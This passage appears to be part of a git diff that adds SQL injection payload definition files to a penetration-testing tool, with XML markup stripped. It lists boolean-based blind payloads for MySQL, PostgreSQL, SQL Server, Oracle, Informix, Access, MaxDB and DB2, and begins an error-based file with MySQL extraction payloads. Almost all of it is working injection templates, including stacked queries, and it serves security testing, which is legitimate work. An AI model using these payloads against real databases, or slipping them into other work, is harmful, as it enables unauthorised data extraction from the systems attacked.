+ (SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1)
+
+ (SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)
+
+
+ (SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1)
+
+
+ PostgreSQL
+
+
+
+
+ Microsoft SQL Server/Sybase boolean-based blind - Parameter replace
+ 1
+ 3
+ 1
+ 1,3
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value)
+ 1
+ 4
+ 1
+ 1,3
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Oracle boolean-based blind - Parameter replace
+ 1
+ 3
+ 1
+ 1,3
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+
+ Oracle
+
+
+
+
+ Oracle boolean-based blind - Parameter replace (original value)
+ 1
+ 4
+ 1
+ 1,3
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+
+ Oracle
+
+
+
+
+ Informix boolean-based blind - Parameter replace
+ 1
+ 3
+ 1
+ 1,3
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL)
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL)
+
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL)
+
+
+ Informix
+
+
+
+
+ Informix boolean-based blind - Parameter replace (original value)
+ 1
+ 4
+ 1
+ 1,3
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL)
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL)
+
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL)
+
+
+ Informix
+
+
+
+
+ Microsoft Access boolean-based blind - Parameter replace
+ 1
+ 3
+ 1
+ 1,3
+ 3
+ IIF([INFERENCE],[RANDNUM],1/0)
+
+ IIF([RANDNUM]=[RANDNUM],[RANDNUM],1/0)
+
+
+ IIF([RANDNUM]=[RANDNUM1],[RANDNUM],1/0)
+
+
+ Microsoft Access
+
+
+
+
+ Microsoft Access boolean-based blind - Parameter replace (original value)
+ 1
+ 4
+ 1
+ 1,3
+ 3
+ IIF([INFERENCE],[ORIGVALUE],1/0)
+
+ IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0)
+
+
+ IIF([RANDNUM]=[RANDNUM1],[ORIGVALUE],1/0)
+
+
+ Microsoft Access
+
+
+
+
+
+ Boolean-based blind - Parameter replace (DUAL)
+ 1
+ 2
+ 1
+ 1,2,3
+ 3
+ (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)
+
+ (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)
+
+
+ (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)
+
+
+
+
+ Boolean-based blind - Parameter replace (DUAL - original value)
+ 1
+ 3
+ 1
+ 1,2,3
+ 3
+ (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)
+
+ (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)
+
+
+ (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)
+
+
+
+
+
+
+ Boolean-based blind - Parameter replace (CASE)
+ 1
+ 2
+ 1
+ 1,3
+ 3
+ (CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE NULL END)
+
+ (CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE NULL END)
+
+
+ (CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE NULL END)
+
+
+
+
+ Boolean-based blind - Parameter replace (CASE - original value)
+ 1
+ 3
+ 1
+ 1,3
+ 3
+ (CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END)
+
+ (CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END)
+
+
+ (CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END)
+
+
+
+
+
+
+ MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause
+ 1
+ 2
+ 1
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
+
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
+
+
+ MySQL
+ >= 5.0
+
+
+
+
+ MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)
+ 1
+ 3
+ 1
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
+
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
+
+
+ MySQL
+ >= 5.0
+
+
+
+
+ MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause
+ 1
+ 3
+ 1
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
+
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
+
+
+ MySQL
+ < 5.0
+
+
+
+
+ MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)
+ 1
+ 4
+ 1
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
+
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
+
+
+ MySQL
+ < 5.0
+
+
+
+
+ PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause
+ 1
+ 2
+ 1
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/(SELECT 0) END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/(SELECT 0) END))
+
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/(SELECT 0) END))
+
+
+ PostgreSQL
+
+
+
+
+
+ PostgreSQL boolean-based blind - ORDER BY clause (original value)
+ 1
+ 4
+ 1
+ 3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))
+
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))
+
+
+ PostgreSQL
+
+
+
+
+
+
+ PostgreSQL boolean-based blind - ORDER BY clause (GENERATE_SERIES)
+ 1
+ 5
+ 1
+
+ 3
+ 1
+ ,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1)
+
+ ,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)
+
+
+ ,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1)
+
+
+ PostgreSQL
+
+
+
+
+ Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause
+ 1
+ 3
+ 1
+ 3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause (original value)
+ 1
+ 4
+ 1
+ 3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Oracle boolean-based blind - ORDER BY, GROUP BY clause
+ 1
+ 3
+ 1
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+
+ Oracle
+
+
+
+
+ Oracle boolean-based blind - ORDER BY, GROUP BY clause (original value)
+ 1
+ 4
+ 1
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+
+ Oracle
+
+
+
+
+ Microsoft Access boolean-based blind - ORDER BY, GROUP BY clause
+ 1
+ 4
+ 1
+ 2,3
+ 1
+ ,IIF([INFERENCE],1,1/0)
+
+ ,IIF([RANDNUM]=[RANDNUM],1,1/0)
+
+
+ ,IIF([RANDNUM]=[RANDNUM1],1,1/0)
+
+
+ Microsoft Access
+
+
+
+
+ Microsoft Access boolean-based blind - ORDER BY, GROUP BY clause (original value)
+ 1
+ 5
+ 1
+ 2,3
+ 1
+ ,IIF([INFERENCE],[ORIGVALUE],1/0)
+
+ ,IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0)
+
+
+ ,IIF([RANDNUM]=[RANDNUM1],[ORIGVALUE],1/0)
+
+
+ Microsoft Access
+
+
+
+
+ SAP MaxDB boolean-based blind - ORDER BY, GROUP BY clause
+ 1
+ 4
+ 1
+ 2,3
+ 1
+ ,(CASE WHEN [INFERENCE] THEN 1 ELSE NULL END)
+
+ ,(CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END)
+
+
+ ,(CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END)
+
+
+ SAP MaxDB
+
+
+
+
+ SAP MaxDB boolean-based blind - ORDER BY, GROUP BY clause (original value)
+ 1
+ 5
+ 1
+ 2,3
+ 1
+ ,(CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END)
+
+ ,(CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END)
+
+
+ ,(CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END)
+
+
+ SAP MaxDB
+
+
+
+
+ IBM DB2 boolean-based blind - ORDER BY clause
+ 1
+ 4
+ 1
+ 3
+ 1
+ ,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
+
+ ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
+
+
+ ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
+
+
+ IBM DB2
+
+
+
+
+ IBM DB2 boolean-based blind - ORDER BY clause (original value)
+ 1
+ 5
+ 1
+ 3
+ 1
+ ,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
+
+ ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
+
+
+ ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
+
+
+ IBM DB2
+
+
+
+
+
+ HAVING boolean-based blind - WHERE, GROUP BY clause
+ 1
+ 3
+ 1
+ 1,2
+ 1
+ HAVING [INFERENCE]
+
+ HAVING [RANDNUM]=[RANDNUM]
+
+
+ HAVING [RANDNUM]=[RANDNUM1]
+
+
+
+
+
+
+ MySQL >= 5.0 boolean-based blind - Stacked queries
+ 1
+ 4
+ 1
+ 1-8
+ 1
+ ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)
+
+ ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)
+ #
+
+
+ ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)
+
+
+ MySQL
+ >= 5.0
+
+
+
+
+ MySQL < 5.0 boolean-based blind - Stacked queries
+ 1
+ 5
+ 1
+ 1-8
+ 1
+ ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)
+
+ ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)
+ #
+
+
+ ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)
+
+
+ MySQL
+ < 5.0
+
+
+
+
+ PostgreSQL boolean-based blind - Stacked queries
+ 1
+ 3
+ 1
+ 1-8
+ 1
+ ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/(SELECT 0) END)
+
+ ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/(SELECT 0) END)
+ --
+
+
+ ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/(SELECT 0) END)
+
+
+ PostgreSQL
+
+
+
+
+
+ PostgreSQL boolean-based blind - Stacked queries (GENERATE_SERIES)
+ 1
+ 5
+ 1
+ 1-8
+ 1
+ ;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1
+
+ ;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1
+ --
+
+
+ ;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1
+
+
+ PostgreSQL
+
+
+
+
+ Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)
+ 1
+ 3
+ 1
+ 1-8
+ 1
+ ;IF([INFERENCE]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR]
+
+ ;IF([RANDNUM]=[RANDNUM]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR]
+ --
+
+
+ ;IF([RANDNUM]=[RANDNUM1]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Microsoft SQL Server/Sybase boolean-based blind - Stacked queries
+ 1
+ 4
+ 1
+ 1-8
+ 1
+ ;SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)
+
+ ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)
+ --
+
+
+ ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Oracle boolean-based blind - Stacked queries
+ 1
+ 4
+ 1
+ 1-8
+ 1
+ ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL
+
+ ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL
+ --
+
+
+ ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL
+
+
+ Oracle
+
+
+
+
+ Microsoft Access boolean-based blind - Stacked queries
+ 1
+ 5
+ 1
+ 1-8
+ 1
+ ;IIF([INFERENCE],1,1/0)
+
+ ;IIF([RANDNUM]=[RANDNUM],1,1/0)
+ %16
+
+
+ ;IIF([RANDNUM]=[RANDNUM1],1,1/0)
+
+
+ Microsoft Access
+
+
+
+
+ SAP MaxDB boolean-based blind - Stacked queries
+ 1
+ 5
+ 1
+ 1-8
+ 1
+ ;SELECT CASE WHEN [INFERENCE] THEN 1 ELSE NULL END FROM DUAL
+
+ ;SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END FROM DUAL
+ --
+
+
+ ;SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END FROM DUAL
+
+
+ SAP MaxDB
+
+
+
+
diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml
new file mode 100644
index 00000000000..3023df9fba8
--- /dev/null
+++ b/data/xml/payloads/error_based.xml
@@ -0,0 +1,1538 @@
+
+
+
+
+
+ MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
+ 2
+ 1
+ 1
+ 1,2,3,8,9
+ 1
+ AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
+
+
+ AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.1
+
+
+
+
+ MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
+ 2
+ 1
+ 3
+ 1,2,3,8,9
+
+ 1
+ OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
+
+
+ OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.1
+
+
+
+
+ MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
+ 2
+ 2
+ 1
+ 1,2,3,8,9
+ 1
+ AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])
+
+ AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.6
+
+
+
+
+ MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)
+ 2
+ 2
+ 3
+ 1,8,9
+ 1
+ OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])
+
+ OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.6
+
+
+
+
+ MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
+ 2
+ 4
+ 1
+ 1,2,3,8,9
+ 1
+ AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
+
+
+ AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.5
+
+
+
+
+
+ MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)
+ 2
+ 4
+ 3
+ 1,8,9
+ 1
+ OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
+
+
+ OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.5
+
+
+
+
+ MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)
+ 2
+ 4
+ 1
+ 1,2,3,8,9
+ 1
+ AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))
+
+ AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.5
+
+
+
+
+ MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)
+ 2
+ 4
+ 3
+ 1,8,9
+ 1
+ OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))
+
+ OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.5
+
+
+
+
+ MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)
+ 2
+ 5
+ 1
+ 1,2,3,8,9
+ 1
+ AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8)))
+
